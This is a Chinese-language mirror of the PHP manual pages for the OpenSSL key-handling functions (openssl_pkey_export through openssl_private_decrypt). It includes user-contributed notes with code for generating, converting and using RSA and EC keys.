w3ricardo 27-Feb-2012 08:21
You can't use this function to export a public key

Warning: openssl_pkey_export_to_file(): supplied key param is a public key


将一个密钥的可输出表示转换为字符串

  • ? openssl_pkey_export_to_file
  • openssl_pkey_free ?
  • PHP Manual
  • OpenSSL 函数
  • 将一个密钥的可输出表示转换为字符串

openssl_pkey_export

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

openssl_pkey_export — 将一个密钥的可输出表示转换为字符串

说明

openssl_pkey_export(
OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $key,
string &$output,
?string $passphrase = null,
?array $options = null
): bool

openssl_pkey_export() 将 key 当作 PEM 编码字符串导出并且将之保存到output (通过引用传递的)中。

Note: 必须安装有效的 openssl.cnf 以保证此函数正确运行。参考有关安装的说明以获得更多信息。

参数

key

output

passphrase

密钥可以通过 passphrase 来保护。

options

options 可以用来调整导出流程，通过指定或者覆盖openssl配置文件选项。参见 openssl_csr_new() 获取更多关于 options 的信息。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | key 现在接受 OpenSSLAsymmetricKey 或 OpenSSLCertificate 实例；之前接受类型 OpenSSL key 或 OpenSSL X.509 的 resource。

User Contributed Notes

eric at ericseastrand dot com 12-Apr-2012 11:49
I kept banging my head against the wall today trying to figure out why the RSA keys I was generating were encrypted (they have this stuff in them)
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,BEA1180EADE1524F

I finally realized that the issue was that I was passing a password into the "openssl_pkey_export" method inadvertently.

So the moral of the story is: you have to use NULL as the password. using an empty string will still cause the key to be encrypted.
chris dot kistner at gmail dot com 13-Jan-2011 08:51
Please take note that older versions of PHP/OpenSSL exports the RSA private key with '-----BEGIN RSA PRIVATE KEY-----' PEM tag, which includes just the privateKey field, thus omitting the version and privateKeyAlgorithm fields.

The effect of that would be that if you're converting it to DER, and then back to PEM, but using '-----BEGIN PRIVATE KEY-----' PEM tag, that the openssl_pkey_get_privatekey() function will fail!

Senthryl's code can be used to prefix the PEM encoded data with the version and privateKeyAlgorithm fields again.

The newer PHP/OpenSSL versions exports the RSA private key with '-----BEGIN PRIVATE KEY-----' PEM tag, which includes the version and privateKeyAlgorithm fields.

I noticed these differences between my two servers:
PHP Version 5.3.3 (OpenSSL 1.0.0a-fips 1 Jun 2010) on Fedora Core 12 x64
PHP Version 5.2.9 (OpenSSL 0.9.8g 19 Oct 2007) on Fedora Core 10 x64
Senthryl 25-Jan-2010 11:06
This function can be used to create a private key for use by JCE in Java.  For example, a private key could be generated by a PHP script and the result could be used in a Java client application.

Java requires the private key in DER format with some extra ASN.1 wrapping.  The function below can be used to convert the output of openssl_pkey_export into a format suitable for input into JCE:

<?php
    function derLength($length) {
        if ($length < 128) return str_pad(dechex($length), 2, '0', STR_PAD_LEFT);
        $output = dechex($length);
        if (strlen($output) % 2 != 0) $output = '0'.$output;
        return dechex(128 + strlen($output)/2) . $output;
    }
    function convertPemToDer($pem) {
        $matches = array();
        if (!preg_match('~^-----BEGIN ([A-Z ]+)-----\s*?([A-Za-z0-9+=/\r\n]+)\s*?-----END \1-----\s*$~D', $pem, $matches)) {
            die('Invalid PEM format encountered.'."\n");
        }
        $derData = base64_decode(str_replace(array("\r", "\n"), array('', ''), $matches[2]));
        $derData = pack('H*', '020100300d06092a864886f70d010101050004'.derLength(strlen($derData))) . $derData;
                $derData = pack('H*', '30'.derLength(strlen($derData))) . $derData;
                return $derData;
    }
?>

Example use:
<?php
    $keys = openssl_pkey_new(array('digest_alg' => 'sha1', 'private_key_type' => OPENSSL_KEYTYPE_RSA, 'private_key_bits' => 2048));
    if ($keys === false) die('Failed to generate key pair.'."\n");
    if (!openssl_pkey_export($keys, $privateKey)) die('Failed to retrieve private key.'."\n");
    $javaKey = convertPemToDer($privateKey);

    file_put_contents('key_for_java.der', $javaKey);
?>

Exporting a public key for use with JCE is trickier, since the Java libraries require the key to be input as a byte array.  In effect, the public key outputted by openssl_pkey_get_details() must be base64 decoded as above, and then parsed as ASN.1 to receive the actual key bytes (this can be done either on the PHP side or the Java side).

The following link is an invaluable resource to understanding the output from these functions:
"A Layman's Guide to a Subset of ASN.1, BER, and DER"
http://luca.ntop.org/Teaching/Appunti/asn1.html
Tk at phpRocks dot net 02-May-2009 07:58
Complete example to encrypt data...
=)
<pre>
<?php
// Create the keypair
$res=openssl_pkey_new();

// Get private key
openssl_pkey_export($res, $privkey, "PassPhrase number 1" );

// Get public key
$pubkey=openssl_pkey_get_details($res);
$pubkey=$pubkey["key"];
//var_dump($privkey);
//var_dump($pubkey);

// Create the keypair
$res2=openssl_pkey_new();

// Get private key
openssl_pkey_export($res2, $privkey2, "This is a passPhrase *μà" );

// Get public key
$pubkey2=openssl_pkey_get_details($res2);
$pubkey2=$pubkey2["key"];
var_dump($privkey2);
var_dump($pubkey2);

$data = "Only I know the purple fox. Trala la !";

openssl_seal($data, $sealed, $ekeys, array($pubkey, $pubkey2));

var_dump("sealed");
var_dump(base64_encode($sealed));
var_dump(base64_encode($ekeys[0]));
var_dump(base64_encode($ekeys[1]));

// decrypt the data and store it in $open
if (openssl_open($sealed, $open, $ekeys[1], openssl_pkey_get_private  ($privkey2  ,"This is a passPhrase *μà" ) ) ) {
    echo "here is the opened data: ", $open;
} else {
    echo "failed to open data";
}

?>
</pre>

Outputs :
string(963) "-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,DA1943487C9C83B2

1/j65PJgfYqYMJSWRBk9UzXaa3USMdpkq4ztzL7IPMTPgTwVKxZbvBxzsGUXUmh6
dkWpF1jzi3B44o06mw55t2LHNkGAph/iKVP4Zvnyp/KWaZJSF+pNkvukle1u2/40
WpbNy1f8LA+ZDr7ICOCY1jy/bz/xzOCrVjqY/F4ukQik9M6bL9ZwI5fyhrcHq6EG
KsUX49XKtP/a+kQhluejzIw1aDBqmHpJTCzkL7teCk6l8x8r8mMmss1D9XqggjFm
TQncqR6IU5DClklO53JdWSFC5zTcFYMgq9lMwCQ5o4bs8iBKiE+TOFEKiggtn5zA
v189tlPtM6YePcXAm5Ymgy90Ovq3lGS4k+JkCB2Hm3HgUAB3pd9v3fOeyuFMeing
XHBuLR5nmWITzcfRuAsh0p9xe2puTVFdrLkrQFnh5Xkerm+YUQ6oTecTKRFq7S3l
hLlFIg7KbXxDjg3H5f87DCEp/isV70Rc7flvIBP6u5GX+GrmCFWjQxmGefEJQ5fZ
P7sOzHEdkOHZV7yYn+5MwQ4vDHLKQxvMqUolgvuEAzcL1o976KHAQP0accmwApXz
jry3zVqRnGvyPHo+nGwRiATJj0lAgX/j8cghJg+oo+TiXD2cM5i+Hut4dmImZNDL
3Fn2uLzklQHPlaoaz2dACyaN/sUtmVLtdnn00nuwIy2xDfHDl9MOQ6WHocU78DWo
Mw+x8B+SBsALm3Ah6JzqA8l3OAYSRxjp7YQXLQLkdCi7jEjjTl/0NVTnqU+W89XB
GBH3r8ZgIpifl3M7ZYTKLnToNL7Y/AehPs+tKgFHkXtGMKu4cIt9Ag==
-----END RSA PRIVATE KEY-----
"
string(272) "-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDH82E/Dn37torKz/vhAkpji9ZS
HCyfM7JuXCbh70F75Zh2/rEVvz38yNf6f01DNXiSpzO5eTmoXD7Blsb635AOjYbl
X/WljpFbwQ2QUUDlNDAslrqXYlMzht2MCq/pjtGgk0zJx6i+HjFyV7mebeePQY/x
NOzMpmy/Ke3u+SSHRwIDAQAB
-----END PUBLIC KEY-----
"
string(6) "sealed"
string(52) "y4L3+SDVJwTfa9Em61R3X2p/LElr8N/xPCXw8kqm0co4bn3V1Tw="
string(172) "ezUo2rWLGHPv9bHE5gG8fe5qy8erGlITsSs+qGr2o8aoi98SLnyIFm4N
EQWJrmU43Ehlw72NujJ
B8chYNw2NkIDfaLChvLH54CBuCfyuF+1lWEAUwL8
FU1LftqIIt1ikjSu/8qFU6S6wikJx1pFf1IbXfOeeJVvZ1UJM2rBbudI="
string(172) "RPYLXGBXDnXDIUrFy1/GOM+//Ew/mn2syKDbhIegOJJPnpd
X6ffwXkWH5Bp8kOdz0aO9gK3whG+c
/QF+9eqcTw9SvvlrDqsP0gkRGNIOgMUiBFLoMT92JQWSI7ZesDAU0
JPRWpXsKaIOEkBGmxOMYfEd6OJWp0Mwe4COL3lP2PQ="
here is the opened data: Only I know the purple fox. Trala la !
07-May-2007 12:31
you can get public key using openssl_pkey_get_details(resource $key ) function:

<?php

$pub_key = openssl_pkey_get_public(file_get_contents('./cert.crt'));
$keyData = openssl_pkey_get_details($pub_key);
fule_put_contents('./key.pub', $keyData['key']);

?>
robbat2 at gentoo dot org 09-Aug-2004 11:47
Warning, this function is NOT capable of exporting PEM-encoded public keys. It can only export private keys.


释放一个私钥

  • ? openssl_pkey_export
  • openssl_pkey_get_details ?
  • PHP Manual
  • OpenSSL 函数
  • 释放一个私钥

openssl_pkey_free

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

openssl_pkey_free — 释放一个私钥

Warning

本函数已自 PHP 8.0.0 起被废弃。强烈建议不要依赖本函数。

说明

openssl_pkey_free(OpenSSLAsymmetricKey $key): void

Note:

此函数无效。在 PHP 8.0.0 之前，用于关闭资源。

该函数释放由 openssl_pkey_new() 创建的私钥。

参数

key

持有该密钥的资源。

返回值

没有返回值。

更新日志

版本 | 说明
8.0.0 | 此函数现已弃用，因为不再有效。
8.0.0 | key 现在接受 OpenSSLAsymmetricKey；之前接受类型 OpenSSL key 的 resource。

User Contributed Notes

suconghou at gmail dot com 05-Jan-2021 08:31
PHP 8 deprecates openssl_free_key (actually openssl_pkey_free which it aliases) and automatically destroys the key instance when it goes out of scope.
djmaze 16-Jul-2019 08:51
This function also frees public key resources as received with openssl_pkey_get_public().

Manual above should say: "Frees a pkey resource"


返回包含密钥详情的数组

  • ? openssl_pkey_free
  • openssl_pkey_get_private ?
  • PHP Manual
  • OpenSSL 函数
  • 返回包含密钥详情的数组

openssl_pkey_get_details

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

openssl_pkey_get_details — 返回包含密钥详情的数组

说明

openssl_pkey_get_details(OpenSSLAsymmetricKey $key): array|false

该函数返回密钥详情（位长度，密钥，类型）。

参数

key

持有密钥的资源。

返回值

成功时返回包含密钥详情的数组，失败时返回 false。 返回的数组中包含了如下索引： bits (位数)、 key（表示公钥的字符串）和 type（如下密钥类型之一： OPENSSL_KEYTYPE_RSA、 OPENSSL_KEYTYPE_DSA、 OPENSSL_KEYTYPE_DH、 OPENSSL_KEYTYPE_EC 或者是 -1，代表未知类型）。

根据使用的密钥类型，可能会返回不同的额外信息。请注意，有些元素可能并不总是可用的。

  • OPENSSL_KEYTYPE_RSA，一个额外的键名为 "rsa" 的数组，包含了以下密钥数据：
    Key | 说明
    "n" | modulus
    "e" | public exponent
    "d" | private exponent
    "p" | prime 1
    "q" | prime 2
    "dmp1" | exponent1, d mod (p-1)
    "dmq1" | exponent2, d mod (q-1)
    "iqmp" | coefficient, (inverse of q) mod p
  • OPENSSL_KEYTYPE_DSA, 一个额外的键为 "dsa" 的数组， 包含如下的密钥数据。
    Key | 说明
    "p" | prime number (public)
    "q" | 160-bit subprime, q | p-1 (public)
    "g" | generator of subgroup (public)
    "priv_key" | private key x
    "pub_key" | public key y = g^x
  • OPENSSL_KEYTYPE_DH, 一个额外的键为 "dh" 的数组，包含如下的密钥数据。
    Key | 说明
    "p" | prime number (shared)
    "g" | generator of Z_p (shared)
    "priv_key" | private DH value x
    "pub_key" | public DH value g^x
  • OPENSSL_KEYTYPE_EC，一个额外的键为 "ec" 的数组，包含如下的密钥数据。
    Key | 说明
    "curve_name" | name of curve, see openssl_get_curve_names()
    "curve_oid" | ASN1 Object identifier (OID) for EC curve.
    "x" | x coordinate (public)
    "y" | y coordinate (public)
    "d" | private key

更新日志

版本 | 说明
8.0.0 | 现在参数 key 接受 OpenSSLAsymmetricKey； 在此之前，接受 OpenSSL key 类型的 resource。

User Contributed Notes

There are no user contributed notes for this page.


获取私钥

  • ? openssl_pkey_get_details
  • openssl_pkey_get_public ?
  • PHP Manual
  • OpenSSL 函数
  • 获取私钥

openssl_pkey_get_private

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

openssl_pkey_get_private — 获取私钥

说明

openssl_pkey_get_private(OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $private_key, ?string $passphrase = null): OpenSSLAsymmetricKey|false

openssl_pkey_get_private() 解析 private_key 供其他函数使用。

参数

private_key

private_key 可以是如下密钥之一：

  1. 如下格式的字符串 file://path/to/file.pem。该文件必须包含 PEM 编码的证书或者私钥 (可能都包含了).
  2. 一个 PEM 格式的私钥。

passphrase

如果指定的密钥已被加密了(受密码保护)，可选参数 passphrase 是必须要的。

返回值

成功时现在返回 OpenSSLAsymmetricKey 实例，失败时返回 false。

更新日志

版本 | 说明
8.0.0 | 成功时，此函数现在返回 OpenSSLAsymmetricKey 实例；之前返回类型 OpenSSL key 的 resource。
8.0.0 | private_key 现在接受 OpenSSLAsymmetricKey 或 OpenSSLCertificate 实例；之前接受类型 OpenSSL key 或 OpenSSL X.509 的 resource。
8.0.0 | passphrase 现在可为 null。

User Contributed Notes

pablo dot siciliano at gmail dot com 10-Oct-2020 02:26
Hi.

If this function not work with pathname try with a file_get_contents of a key file.
kristof1 at mailbox dot hu 10-May-2014 03:34
It's actually "file://key.pem" when you want to give a relative path using unix systems. It will be three '/' in case of absolute path (e.g "file:///home/username/..."). But this path consists of two '/' originated from "file://" and one '/' from the fact that home is a subfolder of the unix filesystem's root directory ("/home/username/..."). This two part will be concatenated and you will get three '/' characters following each other.

So you only have to concatenate "file://" with an existing path string in every case.


从证书中解析公钥，以供使用

  • ? openssl_pkey_get_private
  • openssl_pkey_new ?
  • PHP Manual
  • OpenSSL 函数
  • 从证书中解析公钥，以供使用

openssl_pkey_get_public

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

openssl_pkey_get_public — 从证书中解析公钥，以供使用

说明

openssl_pkey_get_public(OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $public_key): OpenSSLAsymmetricKey|false

openssl_pkey_get_public() 从 public_key 中解析公钥，供其他函数使用。

参数

public_key

public_key 可以是以下之一：

  1. OpenSSLAsymmetricKey 实例
  2. file://path/to/file.pem 格式的字符串。文件名必须包含一个 PEM 编码的证书或者密钥(也许二者都有).
  3. 一个 PEM 格式的公钥。

返回值

成功时返回 OpenSSLAsymmetricKey 实例，错误时返回 false。

更新日志

版本 | 说明
8.0.0 | 成功时，此函数现在返回 OpenSSLAsymmetricKey 实例；之前返回类型 OpenSSL key 的 resource。
8.0.0 | public_key 现在接受 OpenSSLAsymmetricKey 或 OpenSSLCertificate 实例；之前接受类型 OpenSSL key 或 OpenSSL X.509 的 resource。

User Contributed Notes

GeniusLe at zslm dot org 19-Aug-2020 05:55
You may need to export a public key from the private key, because the public key provided by the key generated by other tools is in pem format, and we need openssh format

```
<?php
$public = openssl_pkey_get_details(openssl_pkey_get_private(OPENSSL_USER_PRIVATE_KYE))['key'];

// save $public

```
igniweb dot net at gmail dot com 04-May-2018 01:54
To complete http://php.net/manual/fr/function.openssl-pkey-get-public.php#101513

Michaela code retranscription can be :

$key = str_replace([
    '-----BEGIN RSA PUBLIC KEY-----',
    '-----END RSA PUBLIC KEY-----',
    "\r\n",
    "\n",
], [
    '',
    '',
    "\n",
    ''
], $key);

$key = 'MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A' . trim($key);

$key = "-----BEGIN PUBLIC KEY-----\n" . wordwrap($key, 64, "\n", true) . "\n-----END PUBLIC KEY-----";
Joey 12-Sep-2016 03:24
I spent a few hours raging with this function and hitting my head on the desk trying to get it to load a public PEM key.

This function can leave errors in openssl_error_string even if it succeeded so this can cause a lot of confusion further down. Especially if you're prototyping and haven't put full checks on return values in yet. The error will not be cleared either when calling other functions successfully.

To avoid confusion, you should always check the return result and only call openssl_error_string after calling an openssl function that returned failure (false).
Rurri 25-Feb-2012 07:35
If you have a 4096 bit key pair and are trying to use a public key that begins with:

-----BEGIN RSA PUBLIC KEY-----

and you need to convert it for this function to use, you can convert it by prepending the static header information:

MIICIjANBgkqhkiG9w0BAQEFAAOCAg8A

Such as:

$start_key = str_replace('-----BEGIN RSA PUBLIC KEY-----', '', $start_key);
$start_key = trim(str_replace('-----END RSA PUBLIC KEY-----', '', $start_key));
$key = 'MIICIjANBgkqhkiG9w0BAQEFAAOCAg8A' . str_replace("\n", '', $start_key);
$key = "-----BEGIN PUBLIC KEY-----\n" . wordwrap($key, 64, "\n", true) . "\n-----END PUBLIC KEY-----";
ppostma1 15-Jun-2011 08:32
found the cert/public key for 2048 bits is this format:

-----BEGIN PUBLIC KEY-----
X509 signature + PEM sig + modulus + 'ID' + exponent
-----END PUBLIC KEY-----

so the variables are:
-----BEGIN PUBLIC KEY-----
'MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A' . 'MIIBCgKCAQEA' . $modulus . 'ID' . $exponent
-----END PUBLIC KEY-----

<?php wordwrap($cert, 64, "\r\n", true); ?>
info at steyla dot com 21-Dec-2010 11:55
If you are trying to read a PKCS#1 RSA public key you run into trouble, because openssl wants the public key in X.509 style.

The PKCS#1 RSA public key

-----BEGIN RSA PUBLIC KEY-----
MIIBCgKCAQEAgYxTW5Yj+5QiQtlPMnS9kqQ/HVp+T2KtmvShe68cm8luR7Dampmb
[...]
cbn6n2FsV91BlEnrAKq65PGJxcwcH5+aJwIDAQAB
-----END RSA PUBLIC KEY-----

.. is  not readable while the X.509 style public key

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAgYxTW5Yj+5QiQtlPMnS9
[..]
JwIDAQAB
-----END PUBLIC KEY-----

is. You can use an easy (and dirty) work around to read the PKCS#1 RSA anyway. The first few bytes of the X.509 style public key contain header information and can shamelessly be copied.

In other words: Delete everything after the first 32 bytes from the above X.509 key (starting behind Q8A) and attach your PKCS#1 data, reformat to 64 bytes length and use it with openssl.

Please note: The above example only works for 2048 bit length.

Like I said - it's kind of dirty - but hey - if you're as desperate as I was.

Michaela
Paul Clark 15-Feb-2010 07:50
Note this will read public keys from PEM formatted public keys as well:

<?php
$key = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDXX/MsKEBLcLeKA1d/i7ufG1qs
qS97xFkIRSeX3TwmHic843AfVrzoh2pZUeOvK9ZLZQpHSM7DoHMYDGD1273+FvZX
Ypf5LiFtecfxko/Cku16zy6WAeCYVFjjlveBhwPmPCIk+qDRYeiIW05QE2XK+CuD
nJ7sxxXIJSSgD3Jo5wIDAQAB
-----END PUBLIC KEY-----
EOF;

print $key;
$res = openssl_pkey_get_public($key);
print_r(openssl_pkey_get_details($res));
?>

Note that contrary to the documentation, openssl_pkey_get_details() will *not* read PEM directly, and you have to go through this step.
thelen dot shar at gmail dot com 25-Jan-2009 12:08
Found it difficult to get my head around this due to lack of documentation.

But the process I followed for all this was:
Generate private key:
openssl genrsa -des3 -out private.pem 1024

Generate public key:
openssl rsa -in private.pem -out public.pem -outform PEM -pubout

Then in PHP:
$passphrase = 'somestring';
$key_private = openssl_get_privatekey(file_get_contents('private.pem'), $passphrase);
$key_public = openssl_get_publickey(file_get_contents('public.pem'));

Probably not the best way of doing it, but a lot simpler than the other examples on the site. I was having trouble getting the pubkey, it wasn't exactly specified very well, and I had made a mistake in generating it so it wasn't working for that reason as well.
VaD 06-Jun-2008 10:36
Small error in this code:

$pub_key = openssl_pkey_get_public(file_get_contents('./cert.crt'));
$keyData = openssl_pkey_get_details($pub_key);
file_put_contents('./key.pub', $keyData['key']);
07-May-2007 12:40
you can get (and save to file) public key using openssl_pkey_get_details(resource $key ) function:

<?php
$pub_key = openssl_pkey_get_public(file_get_contents('./cert.crt'));
$keyData = openssl_pkey_get_details($pub_key);
file_put_contents('./key.pub', $keyData['key']);
?>
dankybastard at hotmail 09-Feb-2005 08:52
You must also use the string representation of the certificate to get the public key resource:

$dn = array();  // use defaults
$res_privkey = openssl_pkey_new();
$res_csr = openssl_csr_new($dn, $res_privkey);
$res_cert = openssl_csr_sign($res_csr, null, $res_privkey, $ndays);

openssl_x509_export($res_cert, $str_cert);

$res_pubkey = openssl_pkey_get_public($str_cert);
09-Aug-2004 11:44
This documentation notes it can take a PEM-formatted private key, but as per bug #25614, this is not possible in any form. The function simply returns a FALSE.

The only thing you can get public keys out of are X.509 certificates.

Furthermore, there is NO way to export a public key into a PEM-encoded form.


生成一个新的私钥

  • ? openssl_pkey_get_public
  • openssl_private_decrypt ?
  • PHP Manual
  • OpenSSL 函数
  • 生成一个新的私钥

openssl_pkey_new

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

openssl_pkey_new — 生成一个新的私钥

说明

openssl_pkey_new(?array $options = null): OpenSSLAsymmetricKey|false

openssl_pkey_new() 生成一个新的私钥和公钥对。如何获取该密钥的公共组件参见以下示例。

Note: 必须安装有效的 openssl.cnf 以保证此函数正确运行。参考有关安装的说明以获得更多信息。

参数

options

你可以使用 options 参数微调密钥的生成（比如指定位数）。查看 openssl_csr_new() 获取更多关于 options 的信息。

返回值

成功时返回 OpenSSLAsymmetricKey 实例，错误则返回 false 。

更新日志

版本 | 说明
8.0.0 | 成功时此函数会返回 OpenSSLAsymmetricKey 的实例；在之前版本中，则会返回类似为 OpenSSL key 的 resource。
7.1.0 | 添加了 curve_name 配置参数使得可以创建 EC 密钥。

示例

Example #1 Obtain the public key from a private key

<?php
$private_key = openssl_pkey_new();
$public_key_pem = openssl_pkey_get_details($private_key)['key'];
echo $public_key_pem;
$public_key = openssl_pkey_get_public($public_key_pem);
var_dump($public_key);
?>

以上示例的输出类似于：

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArZFsmN2P6rx1Xt7YV95o
gcdlal0k3ryiIhFNzjwtRNNTXfEfBr6lUuaIJYQ8/XqEBX0hpcfuuF6tTRlonA3t
WLME0QFD93YVsAaXcy76YqjjqcRRodIBphAbYyyMI/lXkQAdn7kbAmr7neSOsMYJ
El9Wo4Hl4oG6e52ZnYHyqW9dxh4hX93eupR2TmcCdVf+r9xoHewP0KJYSHt7vDUX
AQlWYcQiWHIadFsmL0orr6mutlXFReoHbesgKY9/3YLOu0JfxflSjIZ2JeL1NTl1
MsmODsUwgAUrwnWKKx+eQUP5g3GnSB3dPkRh9zRVRiLNWbCugyjrf3e6DgQWrW7j
pwIDAQAB
-----END PUBLIC KEY-----
resource(5) of type (OpenSSL key)

User Contributed Notes

Andrew 24-Nov-2021 07:17
It's not documented here but you can also create ECC keys from existing key parameters (e.g. from JWK):

<?php
$key = openssl_pkey_new([
    'ec' => [
        'curve_name' => 'prime256v1',
        'x' => $someXValue,
        'y' => $someYValue,
        'd' => $someDValue
    ]
]);
?>

You can just provide x/y if it's a public key, or you can just provide d if it's a private key.
Jan 03-Jan-2019 09:02
In case this function returns false, then check your openssl.cnf and make sure that in the [req] section of this file the entry default_bits is not commented out.
gomez dot alejandre at gmail dot com 08-Dec-2018 01:43
Not forget the $configArgs for windows users :D, or the method throws a error with the primary key

//write your configurations :D
$configargs = array(
  "config" => "C:/xampp/php/extras/openssl/openssl.cnf",
  'private_key_bits'=> 2048,
  'default_md' => "sha256",
);

// Create the keypair
$res=openssl_pkey_new($configargs);
// Get private key
openssl_pkey_export($res, $privKey,NULL,$configargs);

and it's for all methods ._ .

a full implementation example here.

https://gist.github.com/DuckHunter213/269a0efd17e709f7f1f177ae7da46ad1

this error take me 3 full days you'r welcome :)
dodginess at yahoo dot com 15-Mar-2017 11:39
If you're using openssl_pkey_new() in conjunction with openssl_csr_new() and want to change the CSR digest algorithm as well as specify a custom key size, the configuration override should be defined once and sent to both functions:

<?php
$config = array(
    'digest_alg' => 'sha1',
    'private_key_bits' => 2048,
    'private_key_type' => OPENSSL_KEYTYPE_RSA,
);

$privkey = openssl_pkey_new($config);

$csr = openssl_csr_new($dn, $privkey, $config);
?>

Although openssl_pkey_new() will accept the 'digest_alg' argument it won't use it, and setting the value has no effect unless you also set this value for openssl_csr_new(). The reason for this is that the $config array is acting as a drop-in replacement for the values found in the openssl.cnf file, so it must contain all of the override values that you need even if the function they're being sent to won't use them.

Also, if you change the 'digest_alg' to something like 'sha256' and still get an MD5 signed CSR check your openssl.cnf file to see whether the digest algorithm you want to use is actually supported.
scott at brynen dot com 24-Feb-2015 09:36
If you try and generate a new key using openssl_pkey_new(), and need to specify the size of the key, the key MUST be type-bound to integer

// works
$keysize = 1024;
$ssl = openssl_pkey_new (array('private_key_bits' => $keysize));

// fails
$keysize = "1024";
$ssl = openssl_pkey_new (array('private_key_bits' => $keysize));

// works (force to int)
$keysize = "1024";
$ssl = openssl_pkey_new (array('private_key_bits' => (int)$keysize));
dirt at awoms dot com 26-Mar-2013 08:52
Working example:

$config = array(
    "digest_alg" => "sha512",
    "private_key_bits" => 4096,
    "private_key_type" => OPENSSL_KEYTYPE_RSA,
);

// Create the private and public key
$res = openssl_pkey_new($config);

// Extract the private key from $res to $privKey
openssl_pkey_export($res, $privKey);

// Extract the public key from $res to $pubKey
$pubKey = openssl_pkey_get_details($res);
$pubKey = $pubKey["key"];

$data = 'plaintext data goes here';

// Encrypt the data to $encrypted using the public key
openssl_public_encrypt($data, $encrypted, $pubKey);

// Decrypt the data using the private key and store the results in $decrypted
openssl_private_decrypt($encrypted, $decrypted, $privKey);

echo $decrypted;
zelnaga at gmail dot com 07-Jun-2012 05:21
Getting the public key corresponding to a particular private key, through the methods provided for by OpenSSL, is a bit cumbersome. An easier way to do it is to use phpseclib, a pure PHP RSA implementation:

<?php
include('Crypt/RSA.php');

$rsa = new Crypt_RSA();
$rsa->loadKey('...');

$privatekey = $rsa->getPrivateKey();
$publickey = $rsa->getPublicKey();
?>

Doesn't require any extensions be installed.  It'll use bcmath or gmp if they're available, for speed, but doesn't even require those.
jthijssen at notloxic dot nl 11-Feb-2011 06:17
If you want to change the default private key size (1024) too something else you can use the following code:

<?php
$config = array('private_key_bits' => 512);
$privKey = openssl_pkey_new($config);

?>

Mind though that the minimum number of bits is 384. Any lower will trigger an error.
Brad 02-Apr-2008 12:17
It's easier than all that, if you just want the keys:

<?php
// Create the keypair
$res=openssl_pkey_new();

// Get private key
openssl_pkey_export($res, $privkey);

// Get public key
$pubkey=openssl_pkey_get_details($res);
$pubkey=$pubkey["key"];
?>
NOSPAM dot alchaemist at hiperlinux dot com dot ar 30-May-2004 12:17
As you probably found, getting the public key is not as direct as you might think with this documentation.

You can easily get into messages like:

Warning: openssl_pkey_get_public(): Don't know how to get public key from this private key (the documentation lied) in D:\www\keys.php on line 4

The correct steps to get the whole thing seem to be these:

<?
$dn = array("countryName" => 'XX', "stateOrProvinceName" => 'State', "localityName" => 'SomewhereCity', "organizationName" => 'MySelf', "organizationalUnitName" => 'Whatever', "commonName" => 'mySelf', "emailAddress" => 'user@domain.com');
$privkeypass = '1234';
$numberofdays = 365;

$privkey = openssl_pkey_new();
$csr = openssl_csr_new($dn, $privkey);
$sscert = openssl_csr_sign($csr, null, $privkey, $numberofdays);
openssl_x509_export($sscert, $publickey);
openssl_pkey_export($privkey, $privatekey, $privkeypass);
openssl_csr_export($csr, $csrStr);

echo $privatekey; // Will hold the exported PriKey
echo $publickey;  // Will hold the exported PubKey
echo $csrStr;     // Will hold the exported Certificate
?>

Now all you need to do is to make some research on each individual function.


使用私钥解密数据

  • ? openssl_pkey_new
  • openssl_private_encrypt ?
  • PHP Manual
  • OpenSSL 函数
  • 使用私钥解密数据

openssl_private_decrypt

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

openssl_private_decrypt — 使用私钥解密数据

说明

openssl_private_decrypt(
string $data,
string &$decrypted_data,
OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $private_key,
int $padding = OPENSSL_PKCS1_PADDING
): bool

openssl_private_decrypt() 解密之前通过 openssl_public_encrypt() 加密的 data，并将结果保存至 decrypted_data 中。

可以使用该函数来解密只对个人有效的数据。

参数

data

decrypted_data

private_key

private_key 必须是跟数据加密相对应的私钥。

padding

padding 可以是如下值：OPENSSL_PKCS1_PADDING、OPENSSL_SSLV23_PADDING、OPENSSL_PKCS1_OAEP_PADDING、OPENSSL_NO_PADDING。

更新日志

版本 | 说明
8.0.0 | private_key 现在接受 OpenSSLAsymmetricKey 或 OpenSSLCertificate 实例。之前接受 OpenSSL key 类型或 OpenSSL X.509 类型的 resource。

参见

  • openssl_public_encrypt() - 使用公钥加密数据
  • openssl_public_decrypt() - 使用公钥解密数据

User Contributed Notes

Anonymous 27-Mar-2021 02:33
<?php

// Generate keys in console:
// $ openssl genrsa -out private_key 8192
// $ openssl rsa -in private_key -out public_key.pem -pubout -outform PEM

// Test data
$data = 'Hello world';

// Encrypt data with public key
$publicKey = file_get_contents('public_key.pem');
$encrypted = null;

openssl_public_encrypt($data, $encrypted, $publicKey);

echo 'Encrypted data', PHP_EOL;
echo base64_encode($encrypted), PHP_EOL;

echo PHP_EOL;

// Decrypt data with private key
$privateKey = file_get_contents('private_key');
$decrypted = null;

openssl_private_decrypt($encrypted, $decrypted, $privateKey);

echo 'Decrypted data', PHP_EOL;
echo $decrypted, PHP_EOL;
tjusongchao at gmail dot com 08-Apr-2015 10:45
of course you have to add the openssl extension to you php environment.
wfredkNOSPAM at L5DevelopmentNOSPAM dot com 08-Mar-2002 03:58
Encrypt using public key, decrypt using private key.

